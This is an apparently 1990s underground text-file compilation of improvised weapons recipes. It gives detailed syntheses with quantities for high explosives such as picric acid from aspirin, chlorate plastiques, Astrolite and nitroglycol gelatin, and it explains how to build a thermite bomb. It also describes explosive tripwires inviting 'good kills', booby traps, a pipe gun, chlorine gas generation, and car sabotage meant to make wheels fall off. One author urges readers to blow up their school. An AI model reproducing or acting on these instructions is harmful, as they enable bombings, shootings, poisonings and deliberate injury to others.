I. A LIST OF HOUSEHOLD CHEMICALS AND THEIR COMPOSITION
VINEGAR: 3-5% ACETIC ACID BAKING SODA: SODIUM BICARBONATE
DRAIN CLEANERS: SODIUM HYDROXIDE SANI-FLUSH: 75% SODIUM BISULFATE
AMMONIA WATER: AMMONIUM HYDROXIDE CITRUS FRUIT: CITRIC ACID
TABLE SALT: SODIUM CHLORIDE SUGAR: SUCROSE
MILK OF MAGNESIA-MAGNESIUM HYDROXIDE TINCTURE OF IODINE- 4% IODINE
RUBBING ALCOHOL- 70 OR 99% (DEPENDS ON BRAND) ISOPROPYL ALCOHOL (DO NOT DRINK!)
GENERATING CHLORINE GAS
This is slightly more dangerous than the other two experiments, so you
shouild know what you're doing before you try this...
Ever wonder why ammonia bottles always say 'do not mix with chlorine bleach',
and visa-versa? That's because if you mix ammonia water with ajax or something
like it, it will give off chlorine gas. To capture it, get a large bottle and
put ajax in the bottom. then pour some ammonia down into the bottle. since
the c hlorine is heavier than air, it will stay down in there unless you use
large amounts of either ajax or ammonia (don't!).
CHLORINE + TURPENTINE
Take a small cloth or rag and soak it in turpentine. Quickly drop it into the
bottle of chlorine. It should give off a lot of black smoke and probably start
burning...
GENERATING HYDROGEN GAS
To generate hydrogen, all you need is an acid and a metal that will react
with that acid. Try vinegar (acetic acid) with zinc, aluminum, magnesium,
etc. You can collect hydrogen in something if you note that it is lighter
than air.... light a small amount and it burns with a small *pop*.
Another way of creating hydrogen is by the electrolysis of water. this
involve sseperating water (H2O) into hydrogen and oxygen by an electric
current. To do this, you need a 6-12 volt battery (or a DC transformer), two
test tubes, a large bowl, two carbon electrodes (take them out of an unworking
6-12 volt battery), and table salt. Dissolve the salt in a large bowl full of
water. Submerge the two test tubes in the water and put the electrodes inside
them, with the mouth of the tube aiming down. Connect the battery to some
wire going down to the electrodes.
This will work for a while, but chlorine will be generated along with the
oxygen which will corrode your copper wires leading to the carbon
electrodes... (the table salt is broken up into chlorine and sodium ions, the
chlorine comes off as a gas with oxygen while sodium reacts with the water to
form sodium hydroxide....). therefore, if you can get your hands on some
sulfuric acid, use it instead. it will not affect the reaction other than
making the water conduct electricity.
WARNING: DO NOT use a transformer that outputs AC current! Not only is AC
inherently more dangerous than DC, it also produces both Hydrogen and
Oxygen at each electrode.
HYRDOGEN + CHLORINE
Take the test tube of hydrogen and cover the mouth with your thumb. Keep it
inverted, and bring it near the bottle of chlorine (not one that has reacted
with turpentine). Say "goodbye test tube", and drop it into the bottle. The
hydrogen and chlorine should react and possibly explode (depending on purity
and amount of each gas). An interesting thing about this is they will not
react if it is dark and no heat or other energy is around. When a light is
turned on, enough energy is present to cause them to react...
PREPARATION OF OXYGEN
Get some hydrogen peroxide (from a drug store) and manganese dioxide (from
a battery- it's a black powder). Mix the two in a bottle, and they give off
oxygen. If the bottle is stoppered, pressure will build up and shoot it off.
Try lighting a wood splint and sticking it (when only glowing) into the
bottle. The oxygen will make it burst into flame. The oxygen will allow things
to burn better...
IODINE
Tincture of iodine contains mainly alcohol and a little iodine. To
seperate them, put the tincture of iodine in a metal lid to a bottle and heat
it over a candle. Have a stand holding another metal lid directly over the
tincture (about 4-6 inches above it) with ice on top of it. The alcohol
should evaporate, and the iodine should sublime, but should reform iodine
crystals on the cold metal lid directly above. If this works (I haven't
tried), you can use the iodine along with household ammonia to form nitrogen
triiodide.
...ZAPHOD BEEBLEBROX/MPG!
I have found that Pool Chlorine tablets with strong household ammonia react
to produce LOTS of chlorine gas and heat... also mixing the tablets with
rubbing alcohol produces heat, a different (and highly flammable) gas, and
possibly some sort of acid (it eats away at just about anything it touches)
David Richards
TRIPWIRES
by The Mortician
Well first of all I reccommend that you read the file on my board about
landmines... If you can't then here is the concept.
You can use an m-80,h-100, blockbuster or any other type of explosive that
will light with a fuse. Now the way this works is if you have a 9 volt
battery, get either a solar igniter (preferably) or some steel wool you can
create a remote ignition system. What you do it set up a schematic like this.
------------------>+ batery
steel || ->- batery
wool || /
:==:--- <--fuse \
|| /
---- spst switch--\
So when the switch is on the currnet will flow through the steel wool or
igniter and heat up causing the fuse to light.
Note: For use with steel wool try it first and get a really thin piece of
wire and pump the current through it to make sure it will heat up to light the
explosive.
Now the thing to do is plant your explosive wherever you want it to be,bury
it and cover the wires. Now take a fishing line (about 20 lb. test) and tie
one end to a secure object. Have your switch secured to something and make a
loop on the other end on the line. Put the loop around the switch such that
when pulled it will pull the switch and set off the explosive.
To ignite the explosive... The thing to do is to experiment with this and
find your best method... Let me know on any good kills, or new techniques...
On my board... (201)376-4462
BOOBY TRAP TRIP WIRES...... BY Vlad Tepes (of Chgo C64 fame)
Here is a method for constructing boobytraps which I personally invented,
and which I have found to work better than any other type of release booby
trap.
There are many possible variations on this design, but the basic premise
remains the same. What you'll need:
3-4 nails each 2 inches long and soft enough to
bend easily (galvanized iron works well)
6 feet of wire or fishing line
5-15 feet of strong string or rope
1 really sick mind.
Hammer two of the nails into the trunk of a tree (about one inch apart) so
they form a horizontal line. They should be angled slightly upward, about 30
degrees.
Bend each nail Downward about one inch out from the trunk. Take your
nefarious device (say a small rock suspended in a tree) and rig a rope or
string so the line comes DOWN towards the two nails. Tie a loop in the string
so the loop *just* reaches between the two nails, and pass a third nail
between the two nails with the loop around this nail between the two others
(see diagrams)
bent nails
/ || ^ slight upward tension
# /\ ||
#/ @ || @ ( @ are the two nails, head on)
# ------!----()------
# trip wire
\ /
Trunk third nail
Now tie one end of the fishing line to the head of the third nail, and the
other end around another tree or to a nail (in another tree, a root or a
stump etc).
When somebody pulls on the trip wire, the nail will be pulled out and your
sick creation will be released to do it's damage (try tying it to a firing
pin).
There are several possible variations. More than one trip wire can be
attached to the same nail, or this device can be used to arm a second trip
wire. Large wire staples or hook and eye loops can be used to replace the two
bent nails.
A more interesting variation uses a straight piece of metal rod with a
hole at each end, or with a short wire loop welded to each end. One end is
attached to the tripwire, the other is attached to a spring.
||
*/\/\/\/\/\-===()=======--------------------------------------*
SPRING BOLT Trip wire
With this design the loop will be released if the tripwire is pulled or if
it is broken. The spring should be under moderate tension and well oiled.
Improvised Explosives
Gelatine Explosive from Anti-Freeze Written by: The Lich
CAUTION: THIS FORMULA ASSUMES THAT THE MAKER HAS NO QUALMS ABOUT KILLING
HIS/HER SELF IN THE PROCESS.
This explosive is almost the same as the nitro-gelatin plastique explosive
exept that it is supple and pliable to -10 to -20 deg. C
Antifreeze is easier to obtain than glycerine and is usually cheaper. It
needs to be freed of water before the manufacture and this can be done by
treating it with calcium chloride until a specific gravity of 1.12 @ o deg.
C. or 1.11 @ 20 deg. C. is obtained.
This can be done by adding calcium chloride to the antifreeze and checking
with a hydrometer and continue to add calcium chloride until the proper
reading is obtained. The antifreeze is then filtered to remove the calcium
chloride from the liquid. This explosive is superior to nitro-gelatin in that
it is easier to collidon the IMR smokeless powder into the explosive and that
the 50/50 ether ethyl alcohol can be done away with. It is superior in that
the formation of the collidon is done very rapidly by the nitroethelene
glycol.
It's detonation properties are practically the same as the nitro-gelatine.
Like the nitro-gelatine it is highly flammable and if caught on fire the
chances are good that the flame will progress to detonation. In this
explosive as in nitro-gelatine the addition of 1% sodium carbonate is a good
idea to reduce the chance of recidual acid being present in the final
explosive. The following is a slightly different formula than nitro-gelatine:
Nitro-glycol 75% Guncotton (IMR) 6% Potassium Nitrate 14% Flour 5%
In this process the 50/50 step is omitted. Mix the potassium nitrate with
the nitro-glycol. Remember that this nitro-glycol is just as sensitive to
shock as is nitroglycerin.
The next step is to mix in the baking flour and sodium carbonate. Mix
these by kneading with gloved hands until the mixture is uniform. This
kneading should be done gently and slowly. The mixture should be uniform when
the IMR smokeless powder is added. Again this is kneaded to uniformity. Use
this explosive as soon as possible.
If it must be stored, store in a cool, dry place (0-10 deg. C.). This
explosive should detonate at 7600-7800 m/sec.. These two explosives are very
powerful and should be sensitive to a #6 blasting cap or equivelent.
These explosives are dangerous and should not be made unless the
manufacturer has had experience with this type compound. The foolish and
ignorant may as well forget these explosives as they won't live to get to use
them.
Don't get me wrong, these explosives have been manufactured for years with
an amazing record of safety. Millions of tons of nitroglycerine have been
made and used to manufacture dynamite and explosives of this nature with very
few mis haps.
Nitroglycerin and nitroglycol will kill and their main victims are the
stupid and foolhardy. Before manufacturing these explosives take a drop of
nitroglycerin and soak into a small piece of filter paper and place it on an
anvil.
Hit this drop with a hammer and don't put any more on the anvil. See what I
mean! This explosive compound is not to be taken lightly. If there are any
doubts DON'T.
Improvised Explosives Plastique Explosive from Aspirin by: The Lich
This explosive is a phenol dirivative. It is HIGHLY toxic and explosive
compounds made from picric acid are poisonous if inhaled, ingested, or handled
and absor- bed through the skin. The toxicity of this explosive restrict's
its use due to the fact that over exposure in most cases causes liver and
kidney failure and sometimes death if immediate treatment is not obtained.
This explosive is a cousin to T.N.T. but is more powerful than it's cousin.
It is the first explosive used militarily and was adopted in 1888 as an
artillery shell filler. Originally this explosive was derived from coal tar
but thanks to modern chemistry you can make this explosive easily in
approximately three hours from acetylsalicylic acid (aspirin purified).
This procedure involves dissolving the acetylsalicylic acid in warm sulfuric
acid and adding sodium or potassium nitrate which nitrates the purified
aspirin and the whole mixture drowned in water and filtered to obtain the
final product. This explosive is called trinitrophenol. Care should be
taken to ensure that this explosive is stored in glass containers. Picric
acid will form dangerous salts when allowed to contact all metals exept tin
and aluminum. These salts are primary explosive and are super sensitive.
They also will cause the detonation of the picric acid.
To make picric acid obtain some aspirin. The cheaper brands work best but
buffered brands should be avoided. Powder these tablets to a fine
consistancy. To extract the acetylsalicylic acid from this powder place this
powder in methyl alcohol and stir vigorously. Not all of the powder will
dissolve. Filter this powder out of the alcohol. Again wash this powder that
was filtered out of the alcohol with more alcohol but with a lesser amount
than the first extraction. Again filter the remaining powder out of the
alcohol. Combine the now clear alcohol and allow it to evaporate in a pyrex
dish. When the alcohol has evaporated there will be a surprising amount of
crystals in the bottom of the pyrex dish.
Take forty grams of these purified acetylsalicylic acid crystals and
dissolve them in 150 ml. of sulfuric acid (98%, specify gravity 1.8) and heat
to diss- olve all the crystals. This heating can be done in a common electric
frying pan with the thermostat set on 150 deg. F. and filled with a good
cooking oil.
When all the crystals have dissolved in the sulfuric acid take the beaker,
that you've done all this dissolving in (600 ml.), out of the oil bath. This
next step will need to be done with a very good ventilation system (it is a
good idea to do any chemistry work such as the whole procedure and any
procedure on this disk with good ventilation or outside). Slowly start adding
58 g. of sodium nitrate or 77 g. of potassium nitrate to the acid mixture in
the beaker very slowly in small portions with vigorous stirring. A red gas
(nitrogen trioxide) will be formed and this should be avoided.
The mixture is likely to foam up and the addition should be stopped until
the foaming goes down to prevent the overflow of the acid mixture in the
beaker. When the sodium or potassium nitrate has been added the mixture is
allowed to cool somewhat (30- 40 deg. C.). The solution should then be dumped
slowly into twice it's volume of crushed ice and water. The brilliant yellow
crystals will form in the water. These should be filtered out and placed in
200 ml. of boiling distilled water. This water is allowed to cool and then
the crystals are then filtered out of the water. These crystals are a very,
very pure trinitrophenol. These crystals are then placed in a pyrex dish and
places in an oil bath and heated to 80 deg. C. and held there for 2 hours.
This temperature is best maintained and checked with a thermometer.
The crystals are then powdered in small quantities to a face powder
consistency. These powdered crystals are then mixed with 10% by weight wax
and 5% vaseline which are heated to melting temperature and poured into the
crystals. The mixing is best done by kneading together with gloved hands.
This explosive should have a useful plsticity range of 0-40 deg. C.. The
detonation velocity should be around 7000 m/sec.. It is toxic to handle but
simply made from common ingredients and is suitable for most demolition work
requiring a moderately high detonation velocity. It is very suitable for
shaped charges and some steel cutting charges. It is not as good an explosive
as C-4 or other R.D.X. based explosives but it is much easier to make. Again
this explosive is very toxic and should be treated with great care.
AVOID HANDLING BARE-HANDED, BREATHING DUST AND FUMES, AVOID ANY CHANCE OF
INGESTION. AFTER UTENSILS ARE USED FOR THE MANUFACTURE OF THIS EXPLOSIVE
RETIRE THEM FROM THE KITCHEN AS THE CHANCE OF POISONING IS NOT WORTH THE RISK.
THIS EXPLOSIVE, IF MANUFACTURED AS ABOVE, AHOULD BE SAFE IN STORAGE BUT WITH
ANY HOMEMADE EXPLOSIVE STORAGE OS NOT RECOMENDED AND EXPLOSIVES SHOULD BE MADE
UP AS NEEDED.
Improvised Explosives Plastique Explosive from Bleach by: The Lich
This explosive is a potassium chlorate explosive. This explosive and
explosives of similar composition were used in World War II as the main
explosive filler in gernades, land mines, and mortar used by French, German,
and other forces involoved in that conflict. These explosives are relatively
safe to manufacture.
One should strive to make sure these explosives are free of sulfur,
sulfides, and picric acid. The presence of these compounds result in mixtures
that are or can become highly sensitive and possibly decompose ex- plosively
while in storage. The manufacture of this explosive from bleach is given as
just an expediant method. This method of manufacturing potassium chlorate is
not economical due to the amount of energy used to boil the solution and cause
the 'dissociation' reaction to take place. This procedure does work and
yields a relatively pure and a sulfur/sulfide free product. These explosives
are very cap sensitive and require only a #3 cap for instigating detonation.
To manufacture potassium chlorate from bleach (5.25% sodium hypochlorite
solution) obtain a heat source (hot plate etc.) a battery hydrometer, a large
pyrex or enameled steel container (to weigh chemicals), and some potassium
chloride (sold as salt substitute). Take one gallon of bleach, place it in
the container and begin heating it. While this solution heats, weigh out 63
g. potassium chloride and add this to the bleach being heated. Bring this
solution to a boil and boiled until when checked by a hydrometer the reading
is 1.3 (if a battery hydrometer is used it should read full charge).
When the reading is 1.3 take the solution and let it cool in the refrigerator
until it's between room temperature and 0 deg. C.. Filter out the crystals
that have formed and save them. Boil the solution again until it reads 1.3 on
the hydrometer and again cool the solution. Filter out the crystals that have
formed and save them. Boil this solution again and cool as before.
Filter and save the crystals. Take these crystals that have been saved and
mix them with distilled water in the following proportions: 56 g. per 100 ml.
distilled water. Heat this solution until it boils and allow it to cool.
Filter the solution and save the crystals that form upon cooling. The process
if purifi- cation is called fractional crystalization. These crystals should
be relatively pure potassium chlorate.
Powder these to the consistency of face powder (400 mesh) and heat gently to
drive off all moisture. Melt five parts vasoline and five parts wax.
Dissolve this in white gasoline (camp stove gasoline) and pour this liquid on
90 parts potassium chlorate (the crystals from the above operation) in a
plastic bowl. Knead this liquid into the potassium chlorate until immediately
mixed. Allow all the gasoline to evaporate. Place this explosive in a cool,
dry place. Avoid friction, sulfur, sulfide, and phosphorous compounds.
This explosive is best molded to the desired shape and density
(1.3g./cc.) and dipped in wax to water proof. These block type charges
guarantee the highest detonation velocity. This explosive is really not
suited to use in shaped charge applications due to its relatively low
detonation velocity. It is comparable to 40% ammonia dynamite and can be
considered the same for the sake of charge computation.
If the potassium chlorate is bought and not made it is put into the
manufacture pro- cess in the powdering stages preceding the addition of the
wax/vaseline mix- ture. This explosive is bristant and powerful. The
addition of 2-3% aluminum powder increases its blast effect. Detonation
velocity is 3300 m/sec..
Plastique Explosives From Swimming Pool Chlorinating Compound By the Lich
This explosive is a chlorate explosive from bleach. This method of
production of potassium or sodium chlorate is easier and yields a more pure
product than does the plastique explosive from bleach process.
In this reaction the H.T.H. (calcium hypochlorite CaC10) is mixed with water
and heated with either sodium chloride (table salt, rock salt) or potassium
chloride (salt substitute). The latter of these salts is the salt of choice
due to the easy crystalization of the potassium chlorate.
This mixture will need to be boiled to ensure complete reaction of the
ingredients. Obtain some H.T.H. swimming pool chlorination compound or
equivilant (usually 65% calcium hypochlorite). As with the bleach process
mentioned earlier the reaction described below is also a dissociation
reaction. In a large pyrex glass or enamled steel container place 1200g.
H.T.H. and 220g. potassium chloride or 159g. sodium chloride. Add enough
boiling water to dissolve the powder and boil this solution. A chalky
substance (calcium chloride) will be formed. When the formation of this
chalky substance is no longer formed the solution is filtered while boiling
hot. If potassium chloride was used potassium chlorate will be formed.
This potassium chlorate will drop out or crystalize as the clear liquid
left after filtering cools. These crystals are filtered out when the solution
reaches room temperature. If the sodium chloride salt was used this clear
filtrate (clear liquid after filter- ation) will need to have all water
evaporated. This will leave crystals which should be saved.
These crystals should be heated in a slightly warm oven in a pyrex dish to
drive off all traces of water (40-75 deg. C.). These crystals are ground to
a very fine powder (400 mesh).
If the sodium chloride salt is used in the initial step the crystalization
is much more time consuming. The potassium chloride is the salt to use as the
resulting product will crystalize out of the solution as it cools. The
powdered and completely dry chlorate crystals are kneaded together with
vaseline in a plastic bowl. ALL CHLORATE BASED EXPLOSIVES ARE SENSITIVE TO
FRICTION AND SHOCK AND THESE SHOULD BE AVOIDED. If sodium chloride is used in
this explosive it will have a tendancy to cake and has a slightly lower
detonation velocity.
This explosive is composed of the following:
potassium/sodium chlorate 90% vaseline 10%
Simply pour the powder into a plastic baggy and knead in the vaseline
carefully. this explosive (especially if the Sodium Chlorate variation is
used) should not be exposed to water or moisture.
The detonation velocity can be raised to a slight extent by the addition of
2-3% aluminum substituted for 2-3% of the vaseline. This addition of this
aluminum will give the explosive a bright flash if set off at night which will
ruin night vision for a short while. The detonation velocity of this
explosive is approximately 3200 m/sec. for the potassium salt and 2900 m/sec.
for the sodium salt based explosive.
Addendum 4/12/91:
It was claimed above that this explosive degrades over time. I would assume
that this occurs due to the small amount of water present in the vaseline, and
that a different type of fuel would be better than the vaseline.
ASSORTED NASTIES:
Sweet-Oil
In this one you open there hood and pour some honey in their oil spout. if
you have time you might remover the oil plug first and drain some of the oil
out. I have tried this one but wasn't around to see the effects but I am sure
that I did some damage.
Slow Air
Ok, sneak up the victims car and poke a small hole somewhere in 2 of his/her
tires. They only have 1 spare. Now if the hole is small but there then there
tire will go flat some where on the road. You could slice the tire so this is
blows out on the road wih a razor blade. Cut a long and fairly deep (don't
cut a hole all the way through) and peel a little bit of the rubber back and
cut that off. Now very soon there tires will go flat or a possible blow out
at a high speed if your lucky.
Vanishing Paint
Spread a little gas or paint thiner on the victims car and this will make his
paint run and fade. Vodka will eat the paint off and so will a little 190.
Eggs work great on paint if they sit there long enough.
Loose Wheel
Loosen the lugs on you victums tires so that they will soon fall off. This
can really fuck some one up if they are cruising when the tire falls off.
Dual Neutral
This name sucks but pull the 10 bolt or what ever they have there off. (On
the real wheels, in the middle of the axle) Now throw some screws, blots, nuts
and assorted things in there and replace the cover. At this point you could
chip some of the teeth off the gears.
Un-Midaser
Crawl under there car with a rachet and losen all the nuts on their exhaust
so that it hangs low and will fall off soon. This method also works on
transmissions but is a little harder to get all bolts off, but the harder you
work the more you fuck them over.
LAUGHING GAS
Learn how to make laughing gas from ammonium nitrate. Laughing gas was one of
the earliest anaesthetics. After a little while of inhaling the gas the
patient became so happy [ain't life great?] he couldn't keep from laughing.
Finally he would drift off to a pleasant sleep.
Some do-it-yourselfers have died while taking laughing gas. This is
because they has generated it through plastic bags while their heads were
inside. They were simply suffocating but were too bombed out to realize it.
The trick is to have a plastic clothes bag in which you generate a lot of
the gas. Then you stop generating the gas and hold a small opening of the bag
under your nose, getting plenty of oxygen in the meantime. Then, Whee!
To make it you start with ammonium nitrate bought from a chemical supply
house or which you have purified with 100% rubbing or wood alcohol.
First, dissolve a quantity of ammonium nitrate in some water. Then you
evaporate the water over the stove, while stirring, until you have a heavy
brine. When nearly all the moisture is out it should solidify instantly when
a drop is put on an ice cold metal plate.
When ready, dump it all out on a very cold surface. After a while, break
it up and store it in a bottle.
A spoonful is put into a flask with a one-hole stopper, with a tube leading
into a big plastic bag. The flask is heated with an alcohol lamp.
When the temperature in the flask reaches 480 F the gas will generate. If
white fumes appear the heat should be lowered as the stuff explodes at 600 F.
When the bag is filled, stop the action and get ready to turn on.
CAUTION: N2O supplants oxygen in your blood, but you don't realize it. It's
easy to die from N2O because you're suffocating and your breathing
reflex doesn't know it. Do not put your head in a plastic bag
(duhh...) because you will cheerfully choke to death.
PIPE OR "ZIP" GUNS
Commonly known as "zip" guns, guns made from pipe have been used for years
by juvenile punks. Today's Militants make them just for the hell of it or
to shoot once in an assassination or riot and throw away if there is any
danger of apprehension.
They can be used many times but with some, a length of dowel is needed to
force out the spent shell.
There are many variations but the illustration shows the basic design.
First, a wooden stock is made and a groove is cut for the barrel to rest
in. The barrel is then taped securely to the stock with a good, strong
tape.
The trigger is made from galvanized tin. A slot is punched in the trigger
flap to hold a roofing nail, which is wired or soldered onto the flap. The
trigger is bent and nailed to the stock on both sides.
The pipe is a short length of one-quarter inch steel gas or water pipe
with a bore that fits in a cartridge, yet keeps the cartridge rim from passing
through the pipe.
The cartridge is put in the pipe and the cap, with a hole bored through
it, is screwed on. Then the trigger is slowly released to let the nail pass
through the hole and rest on the primer.
To fire, the trigger is pulled back with the left hand and held back with
the thumb of the right hand. The gun is then aimed and the thumb releases the
trigger and the thing actually fires.
Pipes of different lengths and diameters are found in any hardware store.
All caliber bullets, from the .22 to the .45 are used in such guns.
Some zip guns are made from two or three pipes nested within each other.
For instance, a .22 shell will fit snugly into a length of a car's copper gas
line. Unfortunatey, the copper is too weak to withstand the pressure of the
firing. So the length of gas line is spread with glue and pushed into a
wider length of pipe. This is spread with glue and pushed into a length of
steel pipe with threads and a cap.
Using this method, you can accomodate any cartridge, even a rifle shell.
The first size of pipe for a rifle shell accomodates the bullet. The second
accomodates its wider powder chamber.
A 12-gauge shotgun can be made from a 3/4 inch steel pipe. If you want to
comply with the gun laws, the barrel should be at least eighteen inches long.
Its firing mechanism is the same as that for the pistol. It naturally has
a longer stock and its handle is lengthened into a rifle butt. Also, a small
nail is driven half way into each side of the stock about four inches in the
front of the trigger. The rubber band is put over one nail and brought
around the trigger and snagged over the other nail.
In case you actually make a zip gun, you should test it before firing it
by hand. This is done by first tying the gun to a tree or post, pointed to
where it will do no damage. Then a string is tied to the trigger and you go
off several yards. The string is then pulled back and let go. If the barrel
does not blow up, the gun is (probably) safe to fire by hand. Repeat firings
may weaken the barrel, so NO zip gun can be considered "safe" to use.
Astrolite and Sodium Chlorate Explosives By: Future Spy & The Fighting Falcon
Note: Information on the Astrolite Explosives were taken from the book
'Two Component High Explosive Mixtures' By Desert Pub'l
Some of the chemicals used are somewhat toxic, but who gives a fuck! Go ahead!
I won't even bother mentioning 'This information is for enlightening purposes
only'! I would love it if everyone made a gallon of astrolite and blew their
fucking school to kingdom scum!
Astrolite
The astrolite family of liquid explosives were products of rocket propellant
research in the '60's. Astrolite A-1-5 is supposed to be the world's most
powerful non-nuclear explosive -at about 1.8 to 2 times more powerful than
TNT. Being more powerful it is also safer to handle than TNT (not that it
isn't safe in the first place) and Nitroglycerin.
Astrolite G
"Astrolite G is a clear liquid explosive especially designed to produce very
high detonation velocity, 8,600MPS (meters/sec.), compared with 7,700MPS for
nitroglycerin and 6,900MPS for TNT...In addition, a very unusual
characteristic is that it the liquid explosive has the ability to be absorbed
easily into the ground while remaining detonatable...In field tests, Astrolite
G has remained detonatable for 4 days in the ground, even when the soil was
soaked due to rainy weather" know what that means?....Astrolite Dynamite!
To make (mix in fairly large container & outside)
Two parts by weight of ammonium nitrate mixed with one part by weight
'anhydrous' hydrazine, produces Astrolite G...Simple enough eh? I'm sure that
the 2:1 ratio is not perfect,and that if you screw around with it long enough,
that you'll find a better formula. Also, dunno why the book says 'anhydrous'
hydrazine, hydrazine is already anhydrous...
Hydrazine is the chemical you'll probably have the hardest time getting
hold of. Uses for Hydrazine are: Rocket fuel, agricultural chemicals (maleic
hydra-zide), drugs (antibacterial and antihypertension), polymerization
catalyst, plating metals on glass and plastics, solder fluxes, photographic, diving equipment. Hydrazine is also the chemical
you should be
careful with.
Astrolite A/A-1-5
Mix 20% (weight) aluminum powder to the ammonium nitrate, and then mix with
hydrazine. The aluminum powder should be 100 mesh or finer. Astrolite A has
a detonation velocity of 7,800MPS.
Misc. info
You should be careful not to get any of the astrolite on you,if it happens
though, you should flush the area with water. Astrolite A&G both should be
able to be detonated by a #8 blasting cap.
Sodium Chlorate Formulas
Sodium Chlorate is similar to potassium chlorate,and in most cases can be a
substitute. Sodium chlorate is also more soluble in water. You can find
sodium chlorate at Channel or any hardware/home improvement store. It is used
in blowtorches and you can get about 3lbs for about $6.00.
Sodium Chlorate Gunpowder
65% sodium chlorate, 22% charcoal, 13% sulfur, sprinkle some graphite on top.
Rocket Fuel
6 parts sodium chlorate mixed *THOROUGHLY* with 5 parts rubber cement.
Rocket Fuel 2 (better performance)
50% sodium chlorate, 35% rubber cement ('One-Coat' brand),
10% epoxy resin hardener, 5% sulfur
You may want to add more sodium chlorate depending on the purity you are using.
Incendiary Mixture
55% aluminum powder (atomized), 45% sodium chlorate, 5% sulfur
Impact Mixture
50% red phosphorus, 50% sodium chlorate
Unlike potassium chlorate,sodium chlorate won't explode spontaneously when
mix- ed with phosphorus. It has to be hit to be detonated.
Filler explosive
85% sodium chlorate, 10% vaseline, 5% aluminum powder
Nitromethane formulas
I thought that I might add this in since it's similar to Astrolite.
Nitromethane (CH3NO2) specific gravity:1.139
flash point:95f auto-ignite:785f
Derivation: reaction of methane or propane with nitric acid under pressure.
Uses: Rocket fuel; solvent for cellulosic compounds, polymers, waxes,
fats, etc.
To be detonated with a #8 cap, add:
1) 95% nitromethane + 5% ethylenediamine 2) 94% nitromethane + 6% aniline
Power output: 22-24% more powerful than TNT. Detonation velocity of 6,200MPS.
Nitromethane 'solid' explosives
2 parts nitromethane, 5 parts ammonium nitrate (solid powder)
soak for 3-5 min. when done,store in an air-tight container. This is
supposed to be 30% more powerful than dynamite containing 60% nitro-glycerin,
and has 30% more brilliance.
MERCURY BATTERY BOMB! By Phucked Agent!
Materials:
1 Mercury Battery (1.5 or 1.4 V Hearing Aid), 1 working lamp with on/off
switch
It is VERY SIMPLE!!! Hurray! Kids under 18 shouldn't considered try this
one or else they would have mercuric acid on their faces!
1. Turn the lamp switch on to see if lite-bulb lights up.
2. If work, leave the switch on and unplug the cord
3. Unscrew the bulb (Dont touch the hot-spot!)
4. Place 1 Mercury Battery in the socket and make sure that it is touching
the Hot-spot contact.
5. Move any object or furniture - Why? There may be sparx given off!
6. Now your favorite part, stand back and plug in cord in the socket.
7. And you will have fun!! Like Real Party!!!
All credits go to their respective creators..
-= Exodus =-
1994
Release 4.14
PrimoPyro1990
.... Thermite Incendiaries and Formulas ....
DISCLAIMER : The making and possesion of the following devices and mixtures
is probably illegal in most communities. The incendiaries are
capable of burning in excess of 5400 degrees F. and are next
to impossible to extinguish. If you make them you accept all
responsibility for their possesion and use. You also accept
all responsibility for your own stupidity and carelessness.
This information is intended solely to educate.
All Formulas are by Weight
Thermites are a group of pyrotechnics mixtures in which a reactive metal
reduces oxygen from a metallic oxide. This produces a lot of heat, slag and
pure metal. The most common themite is ferroaluminum thermite, made from
aluminum (reactive metal) and iron oxide (metal oxide). When it burns it
produces aluminum oxide (slag) and pure iron.
Thermite is usually used to cut or weld metal. As an experiment, a 3lb. brick
of thermite was placed on an aluminum engine block. After the thermite was
done burning, only a small portion of block was melted. However, the block
was very warped out of shape plus there were cracks all through the block.
Ferro-thermite produces about 930 calories per gram
The usual proportions of ferro-thermite are 25% aluminum and 75% iron oxide
The iron oxide usually used is not rust (Fe2O3) but iron scale (Fe3O4).Rust
will work but you may want to adjust the mixture to about 77% rust.
The aluminum is usually coarse powder to help slow down the burning rate.
The chemicals are mixed together thoroughly and compressed into a suitable
container. A first fire mix is poured on top and ignited.
NOTE: Thermites are generally very safe to mix and store. They are not shock
or friction sensitive and ignite at about 2000 degrees F.
A first fire mix is a mixture that ignites easier than thermite and burns
hot enough to light the thermite reliably. A very good one is :
Potassium Nitrate 5 parts
Fine ground Aluminum 3 parts
Sulfur 2 parts
Mix the above thoroughly and combine 2 parts of it with 1 part of finely
powdered ferro-thermite. The resulting mixture can be light by safety fuse
and burns intensely.
One problem with thermites is the difference in weight between the aluminum
and the oxide. This causes them to separate out rendering the thermite
useless. One way to fix this is to use a binder to hold the chemicals to
each other. Sulfur is good for this. Called Diasite, this formula uses
sulfur to bind all the chemicals together. It's drawback is the thermite
must be heated to melt the sulfur.
Iron Oxide 70 %
Aluminum 23 %
Sulfur 7 %
Mix the oxide and aluminum together and put them in an oven at 325 degrees
F. and let the mix heat for a while. When the mixture is hot sprinkle the
sulfur over it and mix well. Put this back in the oven for a few minutes
to melt all the sulfur. Pull it back out and mix it again. While it is
still hot, load into containers for use. When it cools, drill out the
diasite to hold about 10 - 15 grams of first fire mix.
When diasite burns it forms sulfide compounds that release hydrogen sulfide
when in contact with water. This rotten egg odor can hamper fire fighting
efforts.
Thermite can be made not to separate by compressing it under a couple of
tons pressure. The resulting pellet is strong and burns slower than thermite
powder.
CAST THERMITE: This formula can be cast into molds or containers and hardens
into a solid mass. It does not produce as much iron as regular ferro-thermite
, but it makes a slag which stays liquid a lot longer. Make a mixtures as
follows.
Plaster of Paris 2 parts
Fine and Coarse Mixed Aluminum 2 parts
Iron Oxide 3 parts
Mix together well and and enough water to wet down plaster. Pour it into a
mold and let it sit for 1/2 hour. Pour off any extra water that seperates
out on top. Let this dry in the sun for at least a week. Or dry in the sun
for one day and put in a 250 degree F. oven for a couple of hours.
Drill it out for a first fire mix when dry.
THERMITE BOMB: Thermite can be made to explode by taking the cast thermite
formula and substituting fine powdered aluminum for the coarse/fine mix.
Take 15 grams of first fire mix and put in the center of a piece of aluminum
foil. Insert a waterproof fuse into the mix and gather up the foil around
the fuse. Waterproof the foil/fuse with a thin coat of wax. Obtain a twopiece
spherical mold with a diameter of about 4-5 inches. Wax or oil the
inside of the mold to help release the thermite. Now, fill one half of the
mold with the cast thermite. Put the first fire/fuse package into the center
of the filled mold. Fill the other half of the mold with the thermite and
assemble mold. The mold will have to have a hole in it for the fuse to stick
out. In about an hour, carefully separate the mold. You should have a ball
of thermite with the first fire mix in the center of it, and the fuse
sticking out of the ball. Dry the ball in the sun for about a week.
DO NOT DRY IT IN AN OVEN !
The fuse ignites the first fire mix which in turn ignites the thermite.
Since the thermite is ignited from the center out, the heat builds up in the
thermite and it burns faster than normal. The result is a small explosion.
The thermite ball burns in a split second and throws molten iron and slag
around. Use this carefully !
